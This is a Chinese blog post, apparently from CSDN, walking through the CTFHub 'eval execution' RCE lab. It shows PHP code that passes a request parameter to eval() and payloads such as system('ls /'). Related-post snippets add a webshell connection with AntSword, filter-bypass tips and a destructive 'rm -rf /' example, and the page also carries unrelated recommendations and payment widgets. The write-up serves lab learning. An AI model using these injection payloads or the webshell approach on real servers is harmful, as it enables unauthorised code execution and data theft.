CTFHUB RCE-----eval执行

CTF之eval _REQUEST变量是一个关联数组,它的键是表单元素的名称,值是用户输入的数据。通过$_REQUEST变量,可以访问表单中所有输入字段的值,不论它们是使用GET、POST还是COOKIE方法提交的。在PHP中,$_REQUEST是一个超全局变量,用于收集HTML表单提交的数据。如果代码中存在解析错误,则 eval() 函数返回 false。hello=show_source('flag.php')该字符串必须是合法的 PHP 代码,且必须以分号结尾。 阅读详情

首先进入题目

我们先了解一下php当中eval()函数的作用

eval()函数中的eval是evaluate的简称,这个函数的作用就是把一段字符串当作PHP语句来执行。

比如说eval($_REQUEST["cmd"])

$_REQUEST[]是接收数据用的,而其中的cmd 就是其中的数据

进入题目

cmd是其中的参数,我们就把命令赋给cmd,我们先显示一下网页的根目录

?cmd=system("ls ");

 接着我们看上一级目录

 

?cmd=system("ls /");

 发现flag_28679

我们cat它

 拿到flag

CTFHub | eval执行 eval 函数可以将字符串作为代码执行,那么在使用 eval 函数作为获取用户输入的时候应该避免使用这类函数。如果用户输入的是一段恶意代码,就会导致严重的安全问题。 阅读详情

相关推荐

CTFHub_技能树_Web之RCE——“eval执行”、“命令注入”

文章目录一、eval执行二、命令注入完 –>CTFHub传送门<– 一、eval执行 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?> PHP代码显示,要求将命令赋值给cmd然后执行 先查看一下根目录文件 /?cmd=system("ls"); !切记最后的分号不可省略! 没有需要的文件 看看上一级的文件夹 /

Ho1aAs‘s Blog 1万+

ctfhub技能树RCE部分(待完善)

eval执行 eval执行就是远程代码执行 看看代码 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?> 连上蚁剑 连上会发现这是一个Linux系统,要使用简单的Linux命令 ls 列出目录中的文件 cd 选择要进入的目录 cd / 返回到根目录 cat 查看文件 更多命令见linux常用命令学习 再次温馨提示:学习.

qq_39670065的博客 949

CTFHUB——RCE之eval执行和文件包含漏洞

代码解释:本关代码和第一关文件包含一样,通过strpos函数判断参数是否存在flag字符,存在就执行include函数。因为本关没有限制php://input伪协议,所以本关解法和上一关一样,这里就不再赘述了。代码解释:本关代码和之前php://input关卡一样,通过substr函数来判断file参数是否等于php://,如果等于就执行include函数。代码解释为如果存在cmd参数,那就用eval函数执行cmd参数中的代码,所以本关存在命令执行。连接成功后,其余步骤与上一关相同。...

m0_46467017的博客 6947

cctfhub---rce-eval文件执行

eval详解 命令详解 一.eval执行 <?php if (isset($_REQUEST['cmd'])) { eval($_REQUEST["cmd"]); } else { highlight_file(__FILE__); } ?> 代码中用cmd来接收传入数据 可以将代码传递给cmd来执行 /?cmd=system("pwd") system()函数的作用为执行系统命令并输出执行结果 执行 pwd 指令可立刻得知您目前所在的工作目录...

x2813488062的博客 4006

ctfhub技能树web:RCE里的eval执行和命令注入

远程命令/代码执行漏洞,简称为RCE漏洞,可以直接向服务器后台远程注入操作系统的命令或者代码,从而拿到服务器后台的权限。首先执行ping命令,ping本机ip:127.0.0.1,再加上ls这个系统命令,连起来就是127.0.0.1;ls接着查看里面的文件,构造命令127.0.0.1;检查网页显示内容可以发现题目中直接给出了一段源代码,代码的大致意思是判断用户是否传了一个 cmd 参数,否则执行 else。检查目录列表发现关于flag的文件,检查内容发现flag。,查看可以访问的文件,发现一个。

2302_81010533的博客 855

CTFhub-RCE

(因为通过前面的eval,我们已经知道了背后的操作系统是Linux,我们这里就缺省认为后面的关卡都是Linux,不再额外测试,直接使用Linux命令。cat、tac、more、less、head、tail、file -f、nl、sed、sort、uniq等。1.查看源码,可以知道过滤了 | ,& , cat ,flag, ctfhub,;flag_is_here是一个目录正常的payload已经没用了,需要使用命令分隔符。1.从代码中,可以看出,过滤了 | 和 & 两个字符,所以我们使用;

weixin_64359465的博客 1084

CTFHUB-web-RCE

无

ookami6497的博客 1904

深入了解 CPU 的型号、代际架构与微架构!

深入了解 CPU 的型号、代际架构与微架构!

欢迎朋友,我是一名十多年开发经验的新手,希望多多指教。 3195

CTFHub RCE通关笔记1:eval执行(两种方法渗透)

本文讲解CTFHub的RCE-eval关卡的原理和渗透实战的全过程,系统分析了PHP中eval()函数的基本语法与安全风险,包括其动态执行字符串代码的特性、作用域访问规则及错误处理机制。通过渗透实战案例,演示了两种利用eval()的攻击方法:一是直接执行系统命令(如ls和cat)获取服务器敏感文件;二是上传WebShell木马(如通过fputs生成后门文件),结合蚁剑工具实现远程控制。文章强调eval()的滥用可能导致任意代码执行(RCE)等严重安全问题,并提供了典型攻击场景的复现过程与防御思路。

mooyuan的网络安全博客 1687

Innovus ECO修复时序违例:ecoAddRepeater插Buffer原理与实战

芯片物理设计越到后期,时序收敛越依赖局部修正而非全局重跑。ECO(Engineering Change Order)作为数字后端高频操作,能在不破坏既有布局布线结果的前提下,精准修复DRV违例、hold时序问题或实现功能补丁。其中,插入Buffer或Inverter是拆解长线RC负载、改善max_transition/max_capacitance最直接的手段。Innovus提供的ecoAddRepeater命令封装了单元选择、坐标摆放和网表重连等底层细节,配合ecoRoute可快速完成绕线。合理选型Buf

weixin_31858171的博客 300

vmware vsphere5---部署vCSA(VMware vCenter Server)附带第二阶段安装报错解决方案

因为这份文档我是边做边写的,遇到问题重新装了好几次所以IP会很乱ESXI主机为192.168.20.10VCSA为192.168.20.7,后台为192.168.20.7:5480后期请自行对应,后面的192.168.20.57请对应192.168.20.7,或根据自己的来。

m0_70212665的博客 5713

CTFHub-RCE eval执行

【代码】CTFHub-RCE eval执行。

weixin_49727285的博客 451

AgentVerse实战:构建多智能体协作系统的关键技术与应用场景

本文深入探讨了AgentVerse框架在构建多智能体协作系统中的关键技术及应用场景。通过分析智能体通信协议、环境交互机制和任务分解算法,展示了如何利用大型语言模型(LLM)实现智能体间的专业化分工与动态协作。文章还提供了智能软件开发团队和智能客服系统等典型应用案例,以及部署优化实践,为开发者构建高效的多智能体系统提供实用指导。

weixin_29254029的博客 361

CTFHub-Web-RCE-eval执行题目解析

一、启动场景 点击web 点击RCE 点击eval执行。 开启题目,启动场景。注册会送1000个币,做一个题目消耗30,做完奖励100还是50,总之完全不用担心币的问题。 启动之后会出现一个链接,我们点击。 二、解题过程 这里会出现PHP代码。 我们使用蚁剑 。(安装之类的我会单独写一篇文章) 右键--->添加数据。 把URL复制到蚁剑,密码cmd 然后点击添加。 可以看到我们添加数据成功。 双击进...

weixin_46168073的博客 1640

【数据结构】面试题整理 共36题

链表是一种常见的数据结构,它由一系列节点组成,每个节点包含数据和一个指向下一个节点的指针。与数组不同,链表中的元素在内存中不必是连续存储的,这使得链表在插入和删除操作时非常高效。单向链表(Singly Linked List):每个节点只包含一个指向下一个节点的指针。双向链表(Doubly Linked List):每个节点包含两个指针,一个指向下一个节点,一个指向前一个节点。循环链表(Circular Linked List):链表的最后一个节点指向第一个节点,形成一个环。

weixin_44329069的博客 7194

用 XCO 库一键找出某个 ABAP 类的全部子类

ABAP XCO库子类枚举技术解析 本文介绍了在ABAP项目中如何利用XCO库高效获取类的继承层次结构。传统方法使用CL_ABAP_CLASSDESCR或手动维护映射表存在效率低、易遗漏的问题。新方法通过XCO库的IF_XCO_AO_CLASS接口,可简洁地获取父类的所有子类(包括间接子类)。 核心API链式调用: 获取类句柄:xco_cp_abap=>class() 导航子类集合:subclasses->all 获取结果:get()返回类引用表或get_names()返回类名列表 典型应用场景

2007 年 ~ 2025 年,深耕 SAP 技术 18 年 127

CTFHUB-技能树-Web题-RCE(远程代码执行)-eval执行

CTFHUB-技能树-Web题-RCE(远程代码执行)

Static______的博客 946

RK3568平台(camera篇)点亮imx586摄像头

mipi摄像头硬件确认点:1.供电:5V,2.8V,1.2V,1.8V,reset脚(硬拉3.3,上电的时候从低到高),pwron脚外接3.3V。2,时钟:MCLKOUT是24兆时钟。3.4组差分mipi线。mipi的data线的波形为方波。

weixin_49303682的博客 7258

CTFHub RCE eval执行

系统命令执行:攻击者可以执行系统命令,比如 system('ls') 来列出服务器上的文件,或者更危险地, system('rm -rf /') 来删除文件。由图可知这段代码检查是否有一个名为 cmd 的请求参数被发送到脚本,如果有,它就会使用 eval() 函数执行这个参数的值。这是一个典型的远程代码执行(RCE)漏洞示例。攻击者可以利用这个漏洞执行系统命令、删除文件、窃取数据、甚至完全控制系统。在/文件夹中找到flag。复制网址并用蚁剑打开。

2401_88422346的博客 385

Camera2Demo

在Camera2 的基础上进行封装,使得Camera2一堆初始化逻辑与Activity分离,降低耦合度,完成预览拍照并保存的操作

IEM模型,地表粗糙度模拟

利用微波反演土壤水分时候,利用IEM模型可以实现对随机地表的模拟

【CTFHub】 RCE - eval执行

CTFHub RCE eval执行

cx_sam的博客 1249

深度学习工具包 DeepLearningToolbox

深度学习工具包Deprecation notice.-----This toolbox is outdated and no longer maintained.There are much better tools available for deep learning than this toolbox, e.g. [Theano](http://deeplearning.net/software/theano/), [torch](http://torch.ch/) or [tensorflow](http://www.tensorflow.org/)I would suggest you use one of the tools mentioned above rather than use this toolbox.Best, Rasmus.DeepLearnToolbox================A Matlab toolbox for Deep Learning.Deep Learning is a new subfield of machine learning that focuses on learning deep hierarchical models of data.It is inspired by the human brain's apparent deep (layered, hierarchical) architecture.A good overview of the theory of Deep Learning theory is[Learning Deep Architectures for AI](http://www.iro.umontreal.ca/~bengioy/papers/ftml_book.pdf)For a more informal introduction, see the following videos by Geoffrey Hinton and Andrew Ng.* [The Next Generation of Neural Networks](http://www.youtube.com/watch?v=AyzOUbkUf3M) (Hinton, 2007)* [Recent Developments in Deep Learning](http://www.youtube.com/watch?v=VdIURAu1-aU) (Hinton, 2010)* [Unsupervised Feature Learning and Deep Learning](http://www.youtube.com/watch?v=ZmNOAtZIgIk) (Ng, 2011)If you use this toolbox in your research please cite [Prediction as a candidate for learning deep hierarchical models of data](http://www2.imm.dtu.dk/pubdb/views/publication_details.php?id=6284)```@MASTERSTHESIS\{IMM2012-06284, author = "R. B. Palm", title = "Prediction as a candidate for learning deep hierarchical models of data", year = "2012",}```Contact: rasmusbergpalm at gmail dot comDirectories included in the toolbox-----------------------------------`NN/` - A library for Feedforward Backpropagation Neural Networks`CNN/` - A library for Convolutional Neural Networks`DBN/` - A library for Deep Belief Networks`SAE/` - A library for Stacked Auto-Encoders`CAE/` - A library for Convolutional Auto-Encoders`util/` - Utility functions used by the libraries`data/` - Data used by the examples`tests/` - unit tests to verify toolbox is workingFor references on each library check REFS.mdSetup-----1. Download.2. addpath(genpath('DeepLearnToolbox'));Example: Deep Belief Network---------------------```matlabfunction test_example_DBNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit RBM and visualize its weightsrand('state',0)dbn.sizes = [100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);figure; visualize(dbn.rbm{1}.W'); % Visualize the RBM weights%% ex2 train a 100-100 hidden unit DBN and use its weights to initialize a NNrand('state',0)%train dbndbn.sizes = [100 100];opts.numepochs = 1;opts.batchsize = 100;opts.momentum = 0;opts.alpha = 1;dbn = dbnsetup(dbn, train_x, opts);dbn = dbntrain(dbn, train_x, opts);%unfold dbn to nnnn = dbnunfoldtonn(dbn, 10);nn.activation_function = 'sigm';%train nnopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.10, 'Too big error');```Example: Stacked Auto-Encoders---------------------```matlabfunction test_example_SAEload mnist_uint8;train_x = double(train_x)/255;test_x = double(test_x)/255;train_y = double(train_y);test_y = double(test_y);%% ex1 train a 100 hidden unit SDAE and use it to initialize a FFNN% Setup and train a stacked denoising autoencoder (SDAE)rand('state',0)sae = saesetup([784 100]);sae.ae{1}.activation_function = 'sigm';sae.ae{1}.learningRate = 1;sae.ae{1}.inputZeroMaskedFraction = 0.5;opts.numepochs = 1;opts.batchsize = 100;sae = saetrain(sae, train_x, opts);visualize(sae.ae{1}.W{1}(:,2:end)')% Use the SDAE to initialize a FFNNnn = nnsetup([784 100 10]);nn.activation_function = 'sigm';nn.learningRate = 1;nn.W{1} = sae.ae{1}.W{1};% Train the FFNNopts.numepochs = 1;opts.batchsize = 100;nn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.16, 'Too big error');```Example: Convolutional Neural Nets---------------------```matlabfunction test_example_CNNload mnist_uint8;train_x = double(reshape(train_x',28,28,60000))/255;test_x = double(reshape(test_x',28,28,10000))/255;train_y = double(train_y');test_y = double(test_y');%% ex1 Train a 6c-2s-12c-2s Convolutional neural network %will run 1 epoch in about 200 second and get around 11% error. %With 100 epochs you'll get around 1.2% errorrand('state',0)cnn.layers = { struct('type', 'i') %input layer struct('type', 'c', 'outputmaps', 6, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %sub sampling layer struct('type', 'c', 'outputmaps', 12, 'kernelsize', 5) %convolution layer struct('type', 's', 'scale', 2) %subsampling layer};cnn = cnnsetup(cnn, train_x, train_y);opts.alpha = 1;opts.batchsize = 50;opts.numepochs = 1;cnn = cnntrain(cnn, train_x, train_y, opts);[er, bad] = cnntest(cnn, test_x, test_y);%plot mean squared errorfigure; plot(cnn.rL);assert(er<0.12, 'Too big error');```Example: Neural Networks---------------------```matlabfunction test_example_NNload mnist_uint8;train_x = double(train_x) / 255;test_x = double(test_x) / 255;train_y = double(train_y);test_y = double(test_y);% normalize[train_x, mu, sigma] = zscore(train_x);test_x = normalize(test_x, mu, sigma);%% ex1 vanilla neural netrand('state',0)nn = nnsetup([784 100 10]);opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samples[nn, L] = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.08, 'Too big error');%% ex2 neural net with L2 weight decayrand('state',0)nn = nnsetup([784 100 10]);nn.weightPenaltyL2 = 1e-4; % L2 weight decayopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex3 neural net with dropoutrand('state',0)nn = nnsetup([784 100 10]);nn.dropoutFraction = 0.5; % Dropout fraction opts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex4 neural net with sigmoid activation functionrand('state',0)nn = nnsetup([784 100 10]);nn.activation_function = 'sigm'; % Sigmoid activation functionnn.learningRate = 1; % Sigm require a lower learning rateopts.numepochs = 1; % Number of full sweeps through dataopts.batchsize = 100; % Take a mean gradient step over this many samplesnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex5 plotting functionalityrand('state',0)nn = nnsetup([784 20 10]);opts.numepochs = 5; % Number of full sweeps through datann.output = 'softmax'; % use softmax outputopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, train_x, train_y, opts);[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');%% ex6 neural net with sigmoid activation and plotting of validation and training error% split training data into training and validation datavx = train_x(1:10000,:);tx = train_x(10001:end,:);vy = train_y(1:10000,:);ty = train_y(10001:end,:);rand('state',0)nn = nnsetup([784 20 10]); nn.output = 'softmax'; % use softmax outputopts.numepochs = 5; % Number of full sweeps through dataopts.batchsize = 1000; % Take a mean gradient step over this many samplesopts.plot = 1; % enable plottingnn = nntrain(nn, tx, ty, opts, vx, vy); % nntrain takes validation set as last two arguments (optionally)[er, bad] = nntest(nn, test_x, test_y);assert(er < 0.1, 'Too big error');```[![Bitdeli Badge](https://d2weczhvl823v0.cloudfront.net/rasmusbergpalm/deeplearntoolbox/trend.png)](https://bitdeli.com/free "Bitdeli Badge")

CTFHub——RCE eval执行

isset()是 PHP 中的一个函数,用于检查一个变量是否已经被声明(设置)且不为 null。得到ctfhub{f03f57d93d5c2cd23d4df690}就执行eval($_REQUEST[“cmd”]);说明网站只要接受POST传参$cmd。因此我们直接连接蚁剑,密码为cmd。

yv_20250804的博客 149

RU DOS版、EFI版32bit/64bit BIOS常用工具

DOS版、EFI版的RU工具,可用来查看IO、MEM、PCI、SMBIOS等资源。亲测在EFI SHELL下可用。

CTFHub-RCE_eval执行-wp

首先看看RCE是什么 RCE英文全称:remote command/code execute 分为远程命令执行ping和远程代码执行evel。 漏洞出现的原因:没有在输入口做输入处理。 我们常见的路由器、防火墙、入侵检测等设备的web管理界面上 一般会给用户提供一个ping操作的web界面,用户从web界面输入目标IP,提交后,后台会对该IP地址进行一次ping测试,并返回测试结果。其实这就是一个接口,可以让攻击者直接向后台服务器远程注入操作系统命令或者代码,从而控制后台系统,这就是RCE漏洞 ———.

z1moq的博客 577

ctfhub rce eval执行

代码意思是如果接收到名为 “cmd” 的请求参数,就执行该参数的值作为 PHP 代码,这里用蚁剑尝试链接。发现连得上,进去找根目录,再一层一层找有没有flag。

2401_88422349的博客 201

CTFHub web-rce-eval执行

eval();函数把字符串按照PHP代码来计算。该字符串必须是合法的PHP代码,并且必须以分号结尾。

2301_79783285的博客 812

CTFhub技能树--RCE之eval执行步骤详解

CTFhub技能树详解

wqatss的博客 319
上一篇: ctfhub技能树 信息泄露 目录遍历 PHPINFO 备份文件下载
下一篇: CTFHUB RCE——文件包含
谨溪
博客等级 码龄6年 61粉丝 9原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值